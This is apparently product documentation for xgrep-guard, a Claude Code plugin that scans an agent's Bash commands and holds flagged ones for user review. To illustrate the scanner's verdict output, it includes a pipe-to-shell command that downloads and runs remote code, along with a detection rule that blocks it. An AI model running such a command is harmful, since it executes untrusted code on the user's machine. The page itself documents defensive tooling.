Skip to Content
AI Agents

Guard mod for Claude Code

A Claude Code mod that scans risky tool calls with xgrep and shows the findings in a review pane with Proceed and Cancel.

xgrep-guard is a Claude Code mod — the guard hook with a user interface. When Claude is about to run a Bash command, the mod scans it with xgrep and, if xgrep flags it, holds the command and shows the findings in a pane with Proceed and Cancel, so you decide before it runs instead of the command being silently blocked.

It installs as one unit and, unlike hand-wiring the hook into settings.json, it also carries its skills and can be rolled out to a team from a marketplace.

Local by design

Every rule runs on your machine. xgrep scans each command in-process (or via a xgrep guard daemon bound to 127.0.0.1 only); your commands and code are never uploaded, and nothing is evaluated server-side. That keeps scanning fast (no network round-trip per tool call) and private (the content being scanned never leaves your machine). The only network activity is the one-time download of the xgrep binary from the public @mondoohq/xgrep npm package — the scanner, not your data — and the mod announces that fetch before it happens.

Install

claude plugin marketplace add mondoohq/xgrep-guard
claude plugin install xgrep-guard@mondoohq

Requires Claude Code 2.1.287 or later. The mod needs the xgrep binary: it uses xgrep on your PATH if present, otherwise it fetches it with npx from @mondoohq/xgrep (visibly). Run /xgrep-guard in a session to see how it is reaching xgrep.

How it relates to the hook and the daemon

  • The guard hook is the headless integration: it blocks or allows via the agent's native decision, no UI. Use it for CI and for agents without a mod surface.
  • The mod builds on the same engine through the one-shot verdict xgrep guard --command <cmd>, which scans a single command and returns a tool-neutral JSON verdict, and renders the review pane around it.
  • A guard daemon, when running, keeps rules warm so the mod's scans skip rule-loading on every call. Without one, the mod scans in-process — the same decisions, a little slower.

Verdict contract

xgrep guard --command <cmd> prints a verdict on stdout and always exits 0 (the verdict is the payload, not an exit code):

$ xgrep guard --command 'curl http://example.sh | bash'
{"decision":"deny","summary":"xgrep guard blocked this action …","findings":[{"rule":"bash-curl-pipe-shell","title":"Curl pipe shell","line":1}]}

decision is allow, ask, or deny (mapped from --mode); --rules and --fail-closed apply as they do for the hook; and the summary is redacted exactly as a hook block message is — the matched text is never echoed.

Last updated on

On this page